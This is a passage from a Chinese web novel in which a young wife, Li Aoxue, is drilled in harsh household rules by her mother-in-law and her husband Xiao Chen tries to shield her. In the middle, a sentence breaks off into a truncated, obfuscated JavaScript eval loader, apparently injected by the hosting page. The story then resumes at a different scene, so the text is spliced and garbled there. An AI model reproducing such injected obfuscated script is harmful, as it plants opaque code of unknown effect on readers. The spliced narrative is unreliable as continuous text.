肖母关切地打量着李傲雪,问道:“你身体养得怎么样了?”李傲雪微微红着脸,轻声回答:“还需要几日。”她垂下眼眸,想起之前的事,着实没想到肖晨会那般激烈。 肖母点点头,语重心长地叮嘱:“那就尽快调养。”紧接着,她眼神带着一丝促狭,对李傲雪说道:“我问你,下次你怎么伺候自己的男人?” 李傲雪闻言,脸庞瞬间滚烫如火烧,双手不自觉地绞着衣角,嗫嚅着:“母亲,傲雪……傲雪不知。”内心满是慌乱与羞涩,这种私密且直白的话题,让她完全不知所措。 肖母看着她这副窘迫模样,忍不住轻笑出声,而后耐心说道:“傻孩子,夫妻之间相处是门学问。要多些体贴温柔,知晓他的喜好,照顾好他的饮食起居,让他感受到家的温暖。男人嘛,在外面奔波,回到家就盼着能舒心自在。” 李傲雪红着脸,微微点头,将肖母的话一一记在心里。肖母见她如此,又接着传授些夫妻相处之道,李傲雪虽羞涩万分,但也明白肖母是为自己好,只能硬着头皮认真听着,花园里偶尔传来肖母温和的教导声与李傲雪偶尔的轻声回应。 17. 让儿媳遵守肖府家规 肖母神情庄重地看着李傲雪,缓缓说道:“以后啊,这家里迟早是要交到你们俩手中的。不过我丑话说在前头,男人主外,女人主内,凡事你得多顺从他些。咱们家的规矩,你也知晓,夫妻和睦,相互扶持,这个家才能蒸蒸日上。” 李傲雪赶忙恭敬地应道:“母亲,我会的。少爷见识广,做事也有分寸,傲雪明白该以何为重。日后定当恪守本分,顺从少爷,与他一同经营好这个家。” 肖母微微颔首,眼中流露出一丝欣慰,“你能明白就好。虽说要顺从,但也不是让你没了主见,该提醒的时候提醒,该支持的时候支持,这样夫妻才能同心,其利断金。” 李傲雪认真地听着,将肖母的每一句话都铭记于心,“母亲教诲,傲雪定不敢忘。往后我与少爷定会互敬互爱,不负母亲期望。” 肖母话锋一转,语气中多了几分严肃:“我儿子可是比你小几岁,本来女子一般15岁就成家有孩子了,你现在都19了。要不是有婚约在,我怎么会把你娶进门。” 李傲雪心中一紧,脸上闪过一丝尴尬与失落,赶忙低下头去,轻声说道:“母亲,傲雪明白自己年纪偏大,能嫁入肖家,是傲雪的福气。日后傲雪定会更加用心,不辜负肖家对我的接纳。” 肖母看着李傲雪的模样,缓了缓语气:“罢了,既然进了门,就是一家人。你也别往心里去,我只盼着你们能早日开枝散叶,为肖家延续香火。” 李傲雪忙不迭点头,“母亲放心,傲雪会和少爷努力的。”她暗暗攥紧了衣角,深知自己在肖母心中因年龄问题或许有些不足,但她更坚定了要好好经营婚姻、为肖家尽责的决心。 肖母见她态度诚恳,神色稍霁,“行了,知道你是个懂事孩子。以后家里事务多学着点,有什么不懂的就来问我。”李傲雪感激地望向肖母,“多谢母亲,傲雪定会用心学习。” 肖母虽表面上缓和了语气,可心底里毕竟是从媳妇熬成婆的过来人,总觉着要在李傲雪身上找回些当年做媳妇时的“面子”,暗自决定要好好调教调教她。 只见肖母往椅背上一靠,神色淡然地对李傲雪说道:“你给我捶捶背。”李傲雪愣了一瞬,随即赶忙移步到肖母身后,伸出双手,小心翼翼地为肖母捶起背来,手法轻柔且有节奏。 肖母享受着李傲雪的伺候,又不紧不慢地吩咐道:“晚上就去厨房跟着厨子一起做饭。咱们家的膳食讲究,你得好好学着,以后这家里上下的饮食可都得你操心。” 李傲雪微微一怔,手上的动作却未停下,连忙应道:“是,母亲。傲雪定会用心学,不让您失望。”她心里虽有些意外这突如其来的安排,但深知作为儿媳应听从长辈吩咐,只能将这份心思默默藏起,专注地为肖母捶背,同时思索着晚上在厨房该如何行事。 肖母闭着眼睛,感受着背部传来的力度,嘴角微微上扬,仿佛在这简单的指令与服从之间,寻得了一种身为长辈的威严与掌控感。 肖母眼神示意一旁的丫鬟,丫鬟心领神会,赶忙取来一本写满家规的册子。肖母将册子递给李傲雪,神色严肃地说:“念。” 李傲雪心中忐忑,双手微微颤抖着接过,轻声念道:“第一条,你得负责全家的伙食。”念完,她下意识地抿了抿嘴唇,深知这意味着日后要花费更多心思在厨房事务上。 接着,她又念道:“第二条,伺候丈夫,以丈夫为主。”话语落下,她脑海中浮现出肖晨的面容,默默告诉自己要更加悉心照料他。 然而,当看到第三条时,李傲雪的声音明显顿住,片刻后才艰难念出:“第三条,一年之内没有所出就会纳妾。”念罢,她的心猛地一沉,一种莫名的恐慌与压力涌上心头。 肖母目光紧紧盯着李傲雪,缓缓开口:“这每一条都是咱们家的规矩,你既入了肖家门,就得遵守。全家老小的饮食关乎健康,伺候丈夫是你本分,至于子嗣,更是重中之重,关系着家族延续。” 李傲雪眼眶微红,心中五味杂陈,但还是强忍着情绪,恭敬说道:“母亲,傲雪记住了,定会谨遵家规。”她暗暗攥紧拳头,在心里下定决心,无论如何都要在这一年之内有所作为,保住自己在肖家的地位,守护住与肖晨的感情。 肖母见李傲雪愣在原地,眼眶泛红,脸色顿时一沉,没好气地说道:“你怎么跟个木头一样,看完了就赶紧给我捶背。这可不是你过去在娘家,成了媳妇就得干活。要是不会,就去学,不准偷懒。我们家可不要闲人。” 李傲雪被这一顿数落,身子一颤,忙不迭应道:“是,母亲。”她赶忙定了定神,手上恢复了捶背的动作,且力度更加适中,频率也加快了些。 心中虽满是委屈,但李傲雪清楚,如今既已嫁入肖家,就得遵循肖家的规矩。她在心里默默告诫自己,一定要尽快适应,不能让肖母挑出更多错处。 肖母靠在椅背上,感受着李傲雪捶背的动作,微微闭着眼,又时不时地开口挑剔:“左边再往上点,力度轻了。”李傲雪不敢有丝毫懈怠,连忙调整。 捶背过程中,李傲雪思绪纷乱,想到刚刚肖母所说的家规,尤其是一年之内无所出便要纳妾这一条,心里像压了块大石头。但她也明白,此刻不是自怨自艾的时候,唯有努力做好肖母交代的事,或许才能在这个家中站稳脚跟,与肖晨有个美好的未来。 肖母一脸惬意,沉浸在李傲雪恰到好处的捶背中,突然又睁开眼,发号施令道:“你去换上粗布衣裳,再去厨房学做饭。可别把身上的衣服弄脏了,咱家里讲究勤俭节约,不能浪费钱去做新衣服。” 李傲雪赶忙停下手中动作,福了福身,温顺地应道:“是,母亲。”说罢,她便匆匆回房,找出那件许久未穿的粗布衣服换上。粗布贴着肌肤,触感远不如平日里的绸缎柔软,可李傲雪顾不上这些,整理好衣衫后,便急忙往厨房赶去。 一进厨房,热气裹挟着各种食材的味道扑面而来。厨子们见少夫人进来,纷纷停下手中活计,行礼问安。李傲雪有些局促地笑了笑,说道:“各位师傅,母亲让我来跟着大伙学做饭,还望各位师傅不吝赐教。” 一位年长的厨子笑着点头:“少夫人客气了,大伙一起琢磨,总能把饭菜做得合全家口味。” 于是,李傲雪在厨房忙碌起来。她先仔细观察厨子们切菜配菜,学习不同食材的处理方法,接着在一旁帮忙生火,看火候大小对烹饪的影响。粗布衣裳不一会儿就被汗水浸湿,贴在她的后背,但李傲雪咬着牙坚持着,牢记肖母的话,不敢有丝毫懈怠,一心想着一定要学会这操持全家饮食的本事。 玉溪刚迈进厨房,一眼就瞧见正忙得热火朝天的李傲雪,不禁满脸诧异,脱口而出:“李姑娘,你怎么在这里?” 李傲雪心里“咯噔”一下,手上的动作顿了顿,一时间有些慌乱。但她很快镇定下来,挤出一抹微笑,找了个借口说道:“我呀,是想着为家人做些好吃的,亲手给大家准备膳食,也算是尽一份心意。”她实在不好说出这其实是肖母的吩咐,毕竟家丑不可外扬,况且她也不想让玉溪看出自己在肖家处境艰难。 玉溪微微皱眉,眼中满是疑惑,不过也没再多问,只是走上前说道:“李姑娘有心了,只是这厨房活儿又累又脏,你若有需要帮忙的,尽管开口便是。” 李傲雪心中一暖,赶忙说道:“多谢玉溪姑娘关心,我自己可以的,你要是有事就先去忙吧。”玉溪点点头,又叮嘱了几句,这才转身离开。 看着玉溪离去的背影,李傲雪暗暗松了口气,转身继续投入到厨房的活计中,手中切菜的动作愈发利落,心中想着一定要尽快学会,不能辜负自己这番辛苦,也不能再让他人看出端倪。 李傲雪在厨房忙碌了许久,跟着厨子们认真学习每一道工序。从洗菜时如何去除菜根的泥沙,到切肉时怎样顺着纹理下刀,再到炒菜时对火候与调料用量的精准把握,她都学得全神贯注。 等到天色渐暗,厨房的伙计们开始准备晚饭的食材。李傲雪主动承担起切配菜的任务,她眼神专注,手中的菜刀在案板上有节奏地起落,不一会儿,几盘切得粗细均匀的配菜便准备妥当。 就在这时,肖晨突然来到厨房。他四处张望,一眼就看到了在角落里忙碌的李傲雪。肖晨微微一愣,快步走上前去,关切地问道:“傲雪,你怎么在这儿?这满是油烟,莫要熏坏了。” 李傲雪抬起头,脸上挂着汗珠,发丝也有些凌乱,看到肖晨,她下意识地用手捋了捋头发,笑着说道:“少爷,我想为家人准备一顿可口的饭菜,便来厨房学着做。”肖晨看着她这副模样,心中既心疼又感动,轻轻握住她的手,说道:“你有心了,但这些事交给厨子们做便是,你不必如此辛劳。” 李傲雪刚想说话,突然想起肖母的叮嘱,到嘴边的话又咽了回去。她轻轻摇了摇头,说道:“少爷,我想亲自为你和母亲做些好吃的,你先去前厅等着,一会儿就有美味上桌。”肖晨见她坚持,也不好再说什么,只好点点头,转身离开厨房。 待肖晨走后,李傲雪长舒一口气,又继续投入到烹饪学习中。在厨子们的指导下,她开始尝试炒菜。锅里的油烧热,放入葱姜爆香,紧接着倒入切好的蔬菜,瞬间,锅里发出“滋滋”的声响,油烟升腾起来。李傲雪有些紧张,但还是鼓起勇气,拿起锅铲不停地翻炒。在伙计们的鼓励下,她逐渐掌握了节奏,按照比例加入调料,一道菜终于出锅。 看着色泽还算不错的菜肴,李傲雪心中满是成就感。她将做好的几道菜装盘,小心翼翼地端到前厅。肖母和肖晨已经坐在桌前,看到李傲雪端着菜进来,肖母微微挑眉,眼中闪过一丝审视。 李傲雪将菜放在桌上,有些忐忑地说道:“母亲,少爷,这是我今天在厨房学做的菜,不知合不合口味。”肖晨笑着夹了一筷子菜放入口中,咀嚼了几下,脸上立刻露出惊喜的神情,说道:“傲雪,做得真好吃,没想到你厨艺进步如此之快。” 肖母也拿起筷子,尝了一口,虽未露出过多赞许之色,但也微微点头,说道:“勉强还算过得去,以后继续努力,别懈怠了。”李傲雪心中一喜,忙应道:“是,母亲,傲雪定会用心学习。” 这一顿晚餐,李傲雪吃得格外满足,尽管过程辛苦,但看到肖晨吃得开心,又得到了肖母的认可,她觉得一切努力都是值得的。而在这之后,李傲雪更加勤奋地学习家务,努力适应在肖家的生活,她期待着通过自己的努力,能让这个家变得更加温馨和睦,也能稳固自己在肖家的位置。 一家人吃完饭后,肖母满是心疼地看向儿子,关切说道:“练习书法累了吧,赶紧去洗漱。我都让人把洗澡水准备好了。”肖晨向来孝顺,听母亲这么说,便乖乖应了一声,起身去洗澡。 肖母转而将目光投向李傲雪,脸色一沉,数落起来:“你怎么吃饭一点眼色都没有,光顾着自己吃,都不知道给自己的男人夹菜,让他先吃。咱们家规矩,媳妇就得伺候好丈夫,这些基本的都做不好,以后怎么管家?” 李傲雪心中一紧,脸上满是愧疚与惶恐,赶忙低下头说道:“母亲,傲雪知错了,方才只顾着看少爷吃得是否满意,竟忘了这些。以后傲雪一定注意,不会再犯。” 肖母轻哼一声,“记住就好。夫妻之间,这些细节之处最能体现心意。你既要操持家务,更要懂得体贴丈夫。去吧,去看看你丈夫洗完了没,需不需要帮忙。” 李傲雪连忙应道:“是,母亲。”说罢,便匆匆往沐浴的地方走去。一路上,她心中暗暗自责,不断提醒自己以后做事要更加周全。 到了沐浴房外,李傲雪轻声询问:“少爷,您洗完了吗?”房内传来肖晨温和的声音:“好了,正准备出来。”李傲雪等肖晨出来后,赶忙递上干爽的衣衫,说道:“少爷,今日饭菜可还合口?方才吃饭时,是傲雪疏忽了,没能好好照顾您。” 肖晨接过衣衫,笑着安慰她:“饭菜很好吃,你别放在心上。只不过你做菜辛苦了。”李傲雪感激地看着肖晨,说道:“多谢少爷体谅,傲雪以后会做得更好。” 两人回到房间,李傲雪一边帮肖晨整理床铺,一边思索着如何才能更好地符合肖母的要求,不辜负肖晨的信任。 肖晨看着李傲雪认真整理床铺的身影,不禁有些心疼,开口说道:“这些事让丫鬟做就好咯,你也忙活一天了。”李傲雪停下手中动作,抬头看向肖晨,微微一笑,找了个借口说道:“这是我们的床,让丫鬟整理总觉得有些不妥,还是我自己来吧,心里踏实。” 肖晨见她坚持,心中愈发觉得她体贴入微,便走上前说道:“那我帮你吧,两个人也能快些。”说着便伸手要帮忙抚平床单的褶皱。李傲雪赶忙拦住他,说道:“少爷,您今日练书法也累了,这些小事我来就好,您快去歇着。” 肖晨拗不过她,只好作罢,看着李傲雪忙碌,心中满是暖意。李傲雪将床铺整理得平平整整,又仔细检查了一遍,确保没有丝毫褶皱,这才满意地转身对肖晨说:“少爷,床铺好了,您早些休息吧。” 肖晨点点头,坐在床边,拉住李傲雪的手,温柔地说:“傲雪,今日辛苦你了,不仅在厨房忙活那么久,还被母亲说了。母亲虽然要求严格,但并无恶意,你别往心里去。”李傲雪看着肖晨关切的眼神,心中一暖,眼眶微微泛红,说道:“少爷,我知道母亲是为我们好,也都是些我该学该做的。只要能让您和母亲满意,让这个家越来越好,我做这些都是值得的。” 肖晨轻轻将李傲雪拥入怀中,轻声说道:“有你这样的妻子,是我的福气。日后若有什么难处,莫要自己一个人扛着,定要与我讲。”李傲雪靠在肖晨怀里,用力地点点头,感受着这份温暖与依靠。 李傲雪一脸诚恳,轻柔说道:“少爷,就让我来给您宽衣吧。”肖晨下意识地婉拒:“我自己来就行,你也劳累一天了。”李傲雪听后,神色微微黯淡,带着几分自责道:“少爷不让我做,肯定是我哪里做得不好,惹少爷嫌弃了。” 肖晨见她这般模样,心中满是不忍,无奈地笑了笑,只好应允:“罢了罢了,那就辛苦你了。”李傲雪眼中立刻重新泛起光彩,动作轻柔而熟练地帮肖晨宽衣。 待一切收拾妥当,两人并肩躺在床上。房间里安静极了,唯有窗外传来的阵阵虫鸣声。李傲雪侧身面向肖晨,在微弱的烛光映照下,她的眼眸闪烁着温柔的光芒。 肖晨转过头,与李傲雪目光交汇,伸手轻轻捋了捋她额前的发丝,轻声说道:“傲雪,今日在厨房忙了许久,累坏了吧。”李傲雪微微摇头,脸上浮现出一抹甜美的笑容:“只要能为少爷和母亲做些事,我不累。少爷,你今日练书法可有收获?” 肖晨嘴角上扬,兴致勃勃地与李傲雪分享起今日练习书法时的心得感悟,李傲雪听得认真,不时轻声回应,提出自己的见解。 李傲雪缓缓地朝着肖晨靠近,身体微微前倾,手也不自觉地不老实起来,轻轻抓着他的背,动作带着一丝羞涩与试探。肖晨立刻就明白了她的意图,赶忙伸手温柔却坚定地阻止了她,神色有些凝重地说道:“我不能这么做。” 李傲雪满心疑惑与失落,抬起头,目光中满是不解,轻声问道:“为什么?” 肖晨微微叹了口气,目光中透露出几分纠结,缓缓说道:“我过不去心里这道坎。今日母亲与你说的那些话,我虽未全听到,但也猜出几分。我不想我们之间的亲密是因为这些规矩压力,我希望是源于我们真心相爱、两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他刚撑起身子,准备起来穿衣,这时房门“吱呀”一声被推开,只见李傲雪端着洗漱用具,迈着轻盈的步伐走进来,脸上带着温婉的笑意,轻声说道:“少爷,我来伺候你就行。” 肖晨看着她,心中泛起一丝暖意,嘴角不自觉上扬:“辛苦你了,这么早就去准备这些。”李傲雪将洗漱用具放在一旁的架子上,走到肖晨身边,温柔地说道:“不辛苦,伺候少爷是我该做的。”说着,她拿起毛巾,在热水里浸湿,拧干后递给肖晨。 肖晨接过毛巾,擦了擦脸,感觉清醒了许多。李傲雪又拿起梳子,轻轻为肖晨梳理头发,动作娴熟而轻柔。肖晨看着铜镜中李傲雪专注的模样,心中不禁感慨,她如此细心体贴,自己却因内心的障碍,一直没能真正给予她应有的回应。 洗漱完毕后,李傲雪又帮肖晨整理好衣衫,说道:“少爷,母亲吩咐今日让您继续去书房练习书法,早饭已经准备好了,咱们用完早饭就过去吧。”肖晨点点头,看着李傲雪,认真地说:“傲雪,你为我做了这么多,我都看在眼里,谢谢你。”李傲雪微微红了脸,低下头说道:“少爷别这么说,只要少爷满意,傲雪就开心。” 来到餐厅,只见桌上摆满了精致的菜肴,显然李傲雪这次做足了准备,每一道都是肖晨喜欢吃的。李傲雪笑意盈盈地坐下,拿起碗筷,夹起一块肖晨最爱吃的酥肉,递到他嘴边,温柔说道:“少爷,尝尝这个。” 肖晨微微一愣,看着递到嘴边的酥肉,下意识说道:“我自己来就行,你赶紧吃。”李傲雪却没有收回手,眼中满是期待:“少爷,就让我喂您吧,您平日辛苦,我也想多照顾照顾您。” 肖晨看着她那真挚的眼神,心中涌起一股暖流,犹豫了一下,还是微微张嘴,吃下了那块酥肉。李傲雪见状,脸上露出开心的笑容,又接着夹起其他菜,细心地喂给肖晨。 肖晨吃了几口后,看着李傲雪同样没怎么动筷,有些心疼地说道:“傲雪,别光顾着喂我,你也快吃,不然饭菜都凉了。”李傲雪应了一声,却还是先又喂了肖晨几口,才自己开始吃起来。 用餐过程中,肖晨时不时看向李傲雪,心中感慨她的用心。他知道,李傲雪这般努力,一方面是出于对自己的感情,另一方面也是想讨好母亲,在这个家中站稳脚跟。 吃完饭后,肖晨看着李傲雪,认真地说:“傲雪,今日的饭菜格外好吃,辛苦你了。”李傲雪脸颊微红,轻声说道:“只要少爷喜欢就好,以后我会经常做您爱吃的。”随后,两人一同起身,肖晨前往书房练习书法,李傲雪则去帮着肖母处理家中事务,各自开始了充实的一天。 读完书的肖晨,长时间闷在书房,感觉浑身不自在。他伸了个懒腰,招来阿成,说道:“陪我出去走走吧,整日在这书房,都快憋闷坏了。”阿成赶忙应道:“少爷,您想去哪里呀?”肖晨思索片刻,说道:“交朋友。我在这儿都没认识几个好朋友,出去碰碰运气,看能不能结识些志同道合之人。” 阿成微微一愣,随即笑道:“好嘞,少爷,那咱们往热闹些的地方去,指不定就能遇到投缘的朋友。”两人稍作收拾,便出了门。 刚走到街上,热闹喧嚣的氛围便扑面而来。小贩们的叫卖声此起彼伏,行人来来往往,络绎不绝。肖晨兴致勃勃地穿梭在人群中,目光在周围人身上打量,试图寻找能结交的对象。 走着走着,他们来到一个书摊前。肖晨停下脚步,随意翻看着摊上的书籍。这时,旁边一位年轻人也凑了过来,同样对这些书颇感兴趣。肖晨看了眼对方,只见他身着一袭淡蓝色长衫,气质儒雅,手中还握着一把折扇。 肖晨主动开口:“兄台也喜爱读书?”年轻人转过头,微微一笑,露出一口洁白的牙齿:“正是,闲暇之时,最爱在这书摊淘些好书。看兄台也是爱书之人,不知平时偏好哪类书籍?”肖晨来了兴致,说道:“我对经史子集皆有涉猎,不过最爱的还是诗词,钟情于那字里行间的意境与韵味。兄台呢?” 年轻人眼睛一亮,兴奋地说:“巧了,我也痴迷诗词。尤其喜爱李白的豪放飘逸,杜甫的沉郁顿挫。”两人越聊越投机,从诗词谈到人生抱负,从历史典故聊到当下时事。阿成在一旁看着,心中暗自高兴,少爷今日看来是遇到知音了。 不知不觉,日头渐渐西斜,肖晨与这位年轻人互报家门,原来对方叫林羽。 肖晨满脸笑意,热情地对林羽说道:“林兄,明日可一定要来寒舍坐坐,咱们再把酒言欢,畅谈一番。”林羽爽朗地笑了笑,眼中透着真诚,毫不犹豫地回应:“一定会的,肖兄相邀,我岂会不来。” 肖晨看着眼前林羽,挺拔的身姿,剑眉星目,透着一股帅气洒脱。恍惚间,肖晨的思绪竟飘到了现代。在那个思想更为开放包容的时代,若能有林羽这样的人成为自己的男友,该是多么美好的事情。两人可以手牵手漫步在繁华的街头,一起去看电影、喝咖啡,分享生活中的点点滴滴。 但很快,肖晨回过神来,意识到自己身处古代,这样的想法只能是奢望。他暗自苦笑了一下,将这份思绪藏在心底。林羽见肖晨微微走神,不禁好奇地问道:“肖兄,可是在想什么心事?”肖晨连忙掩饰,笑着说道:“并无心事,只是想到明日与林兄的相聚,心中满是期待。”林羽哈哈一笑:“我亦如此。” 随后,两人又寒暄了几句,便各自散去。肖晨一路上脑海里还不时浮现出林羽的模样,心中既有对古代交友的欣喜,又夹杂着对现代别样情感的一丝怀念。回到家中,肖晨依旧沉浸在这份复杂的情绪里,以至于阿成都察觉到少爷今日似乎有些心不在焉。不过,阿成并未多问,只默默跟在肖晨身后,等待着少爷处理完自己的思绪。 18. 袒护妻子,处理婆媳关系 肖晨回到家中,玉溪眼尖,一眼瞧见他,赶忙迎上前,笑着问道:“公子这是刚从外面回来呀?”肖晨微微点头,应道:“嗯,随便出去走了走。”话落,他像是突然想起什么,问道:“傲雪去哪里了?”玉溪赶忙回答:“李姑娘在厨房里准备晚饭呢。” 肖晨听后,不禁微微皱眉,心中觉得女孩子整天围着厨房转可不行。虽说李傲雪这么做,很大程度是为了迎合母亲,讨家人欢心,但他更希望李傲雪能有自己的生活,不必将全部精力都耗费在这些家务琐事上。 他略作思索,便朝着厨房走去。一进厨房,热气裹挟着饭菜的香气扑面而来。只见李傲雪正专注地盯着炉灶,手中拿着锅铲,不时翻炒着锅里的菜肴,额头上布满了细密的汗珠。 肖晨心中泛起一丝心疼,走上前轻声说道:“傲雪。”李傲雪听到声音,转过头来,看到是肖晨,脸上立刻绽放出笑容:“少爷,你回来啦。今日我准备做几道你爱吃的菜。”肖晨走到她身边,接过她手中的锅铲,说道:“先歇会儿吧,这些事交给厨子们做就好。你整日在厨房忙活,也该找点自己喜欢的事做。” 李傲雪有些诧异,看着肖晨,说道:“可是母亲说……”肖晨打断她的话,温柔说道:“母亲那边我去说。你呀,不能总把自己困在这一方天地里。你平日有没有什么爱好,读书、画画或是其他的?”李傲雪微微低下头,思索片刻后说道:“其实我以前在家时,喜欢刺绣。” 肖晨眼睛一亮,说道:“那正好呀,你可以重拾刺绣,别荒废了这手艺。厨房的事,偶尔参与就好,不必事事亲力亲为。”李傲雪看着肖晨,眼中满是感动与惊喜,轻声说道:“谢谢少爷,我听你的。”肖晨笑着点点头,将锅铲递回给一旁的厨子,拉着李傲雪走出了厨房。 两人回到房间,肖晨看着李傲雪,目光柔和且带着关切,说道:“你去洗漱一下,换身衣服吧,这身上的油烟味太重啦。女孩子干干净净、香香的,才更舒服些。” 李傲雪微微颔首,脸颊泛起一抹红晕,轻声应道:“好,少爷。”说罢,便转身走向屏风后准备洗漱。不一会儿,屏风后传来了轻微的水声。肖晨坐在一旁的椅子上,随手拿起桌上的一本书,可心思却不在书上,时不时朝着屏风的方向看去。 过了一阵,李傲雪从屏风后走出。她换了一身淡粉色的衣衫,长发松松挽起,几缕碎发垂在脸颊两侧,整个人显得清新温婉。刚刚洗漱完,她身上还带着淡淡的皂角香气。 肖晨抬头望去,眼中闪过一丝惊艳,微笑着说道:“这样多好,看着清爽又舒服。”李傲雪羞涩地笑了笑,走到肖晨身边坐下。肖晨放下手中的书,认真地看着她,说道:“傲雪,我是真心希望你能有自己的生活,刺绣既然是你喜欢的,就不要放弃。日后若想做些别的有趣事儿,也尽管去做,不必事事都以家务为先。” 李傲雪感动不已,眼眶微微泛红,说道:“少爷,你对我真好。我原以为进了肖家,就该一心操持家中事务,从没想过还能做自己喜欢的事。”肖晨轻轻握住她的手,说道:“夫妻之间,自然希望你能开心。家是我们共同的,不该只让你一人劳累。” 李傲雪用力地点点头,心中满是对肖晨的感激与爱意。 肖晨看着李傲雪,一脸认真地说道:“你以后不用什么事情都顾忌我。生活上的事情我自己都可以做,不想让你太辛苦。” 李傲雪听后,连连摇头,面露难色地说道:“少爷,这怎么行呢?我是你的妻子,伺候你本就是我分内之事。还是说,是我服侍你不够周到,让少爷不满意了?”说着,她眼中隐隐泛起担忧之色。 肖晨赶忙握住她的手,解释道:“傲雪,你别误会。你做得很好,把我照顾得无微不至,我很感激。只是我觉得夫妻之间,不应只是一方单方面付出。你也有自己的喜好和生活,不该全都围绕着我转。” 李傲雪微微皱眉,眼中满是不解:“可是在这世上,哪有妻子不伺候丈夫的道理呢?我若不做好这些,旁人会说我不懂规矩,也会让少爷您面上无光啊。” 肖晨无奈地叹了口气,耐心劝说道:“时代或许在变,有些老规矩也不一定非要完全遵循。我更希望我们能像朋友一样,相互扶持,彼此尊重。你可以去做自己喜欢的刺绣,也能去外面走走,见识见识。” 李傲雪咬了咬嘴唇,思索片刻后说道:“少爷的想法,傲雪明白,只是傲雪一时之间难以改变。少爷容我慢慢适应,可好?”肖晨看着她那小心翼翼的模样,心中满是怜惜,点头道:“好,你慢慢来,只要你开心就好。” 肖晨轻轻拉着她的手,目光温柔地注视着,怜惜道:“你瞧这手,本就这般娇嫩,女孩子可得好好爱护自己。要是总干那么多粗活,小心皮肤都变得粗糙了。” 李傲雪微微低下头,眼中闪过一丝担忧,轻声问道:“我要是变得不好看了,少爷是不是就嫌弃我了?”她声音很小,带着几分忐忑。 肖晨一听,不禁有些哭笑不得,轻轻抬起她的下巴,让她直视自己,说道:“我说你怎么这么怕我啊?我怎么会因为这点就嫌弃你。你要知道,你的人生是自己的,又不是为我活着。你可以有自己的喜好,去做让自己开心的事,我希望看到的是那个鲜活、快乐的你,而不是被家务琐事困住,失去自我的你。” 李傲雪眼中泛起泪花,感动地说道:“少爷,您说的这些话,傲雪从未听过。从小到大,大家都告诉我,女子嫁人后就该以夫为天,全心全意为夫家操持。您今日所言,让傲雪有些不知所措。” 肖晨将她轻轻拥入怀中,拍了拍她的背,说道:“过去的观念不一定全对。在我这儿,你首先是你自己,然后才是我的妻子。我希望你能勇敢地追求自己想要的生活,我们一起经营这个家,而不是你独自承担一切。” 李傲雪靠在肖晨怀里,感受着他的温暖与真诚,心中的担忧与迷茫渐渐消散。她微微点头,说道:“少爷,傲雪明白了,傲雪会试着改变,不辜负您的心意。” 肖晨松开她,看着她的眼睛,鼓励道:“好,我相信你。从明天起,你就多花些时间在刺绣上,厨房的事偶尔去看看就行。”李傲雪脸上露出了灿烂的笑容,重重点头:“嗯,谢谢少爷。” 肖晨看着李傲雪,由衷地说道:“你看,你笑起来多好看啊。”李傲雪听了,赶忙回应:“少爷喜欢,我以后便多笑便是。”肖晨轻轻摇头,认真说道:“我希望你的笑容是发自内心的,并不是为了迎合我才笑。” 李傲雪眼中满是深情,缓缓抬起手,轻轻抚摸着他的脸颊,柔声道:“要是少爷能够爱我,多疼疼我,我会更开心的。”那目光中饱含着期待与爱意,仿佛此刻世间万物都抵不过眼前人对自己的回应。 肖晨身子微微一僵,下意识地拉开了些距离,神色有些不自然地说道:“别这样……” 李傲雪的手停在半空中,脸上的笑容瞬间凝固,眼中闪过一丝受伤与失落。她嘴唇微微颤抖,嗫嚅着:“少爷……是不是讨厌我这样……” 肖晨看着李傲雪这般模样,心中有些愧疚,但又不知该如何解释自己内心复杂的感受。他深知李傲雪对自己情深意切,可自己灵魂的特殊性,让他难以像寻常男子那般回应这份爱意。沉默片刻后,肖晨轻声说道:“傲雪,我不是讨厌你,只是……只是我还需要些时间。你如此真心待我,我都明白,也很感动。但感情之事,强求不得,你能懂我吗?” 李傲雪眼中泪光闪烁,她强忍着不让泪水落下,轻轻点头:“少爷,我懂。是傲雪太心急了,吓到少爷了。傲雪会等,等少爷愿意接受我的那一天。” 肖晨看着她如此善解人意,心中既欣慰又心疼,再次轻轻握住她的手,说道:“傲雪,委屈你了。日后,我们慢慢相处,我相信,我们会越来越好的。”李傲雪抬起头,努力挤出一丝笑容,说道:“嗯,傲雪相信少爷。” 到了晚上,天色渐暗,屋内烛火摇曳。肖母坐在厅中,扭头吩咐身边的丫鬟:“去厨房瞅瞅,李傲雪那饭菜准备得咋样了。”丫鬟领命,匆匆去往厨房。 没一会儿,丫鬟脚步匆匆地返回,屈膝行礼后禀报道:“夫人,厨房没人,问了厨子,说是少爷不让少夫人做,把少夫人拉走了。”肖母一听,脸色瞬间沉了下来,冷哼一声:“哼,肯定是这个贱人在儿子面前诉苦,装可怜,好让儿子心疼她。” 肖母越想越气,在厅中来回踱步,嘴里念叨着:“才进门多久,就开始不安分,妄图蛊惑我儿子,坏了家中规矩。”她眼中闪过一丝狠厉,暗暗打定主意,一定要找个机会,好好敲打敲打李傲雪,让她知道在这肖家,到底谁说了算。 另一边,浑然不知肖母这番心思的肖晨与李傲雪,正沿着花园小径漫步。月光洒在他们身上,李傲雪满心欢喜,能与肖晨这般相处,对她而言已是莫大的幸福。而肖晨看着身边笑意盈盈的李傲雪,心中却隐隐有些担忧,他不知母亲知晓此事后会作何反应,只希望母亲不要过于为难李傲雪。 肖母对身边的丫鬟说到,去请少爷和少夫人过来吃饭。肖母对丫鬟吩咐完,便坐在饭厅主位上,脸色阴沉地等着肖晨和李傲雪。不多时,两人携手走进饭厅。 肖晨和李傲雪赶忙行礼,齐声说道:“母亲。”肖母抬眼打量他们,阴阳怪气地开口:“你们二人这是去哪里了?饭菜都好了许久,怎么才过来吃饭。儿子,你可得为自己身体着想,别被一些杂事分了心。” 肖晨察觉到母亲话里有话,却还是恭敬回应:“母亲,方才我和傲雪在花园散步,不知不觉就耽搁了些时间,让您久等,是孩儿的不是。”李傲雪低着头,心中有些忐忑,小声说道:“母亲,是儿媳的错,不该拉着少爷闲逛,耽误了用餐。” 肖母冷哼一声,目光落在李傲雪身上,似有不满:“哼,你既已嫁入我肖家,就得明白规矩。这家中诸事,都得安排妥当,伺候好少爷更是你的本分。别整日只想着那些闲散之事。” 肖晨见母亲这般针对李傲雪,心中不忍,赶忙说道:“母亲,傲雪平日里将家中事务打理得井井有条,今日只是难得闲暇,孩儿便邀她一同散步放松。况且,夫妻间多些相处,也能增进感情。” 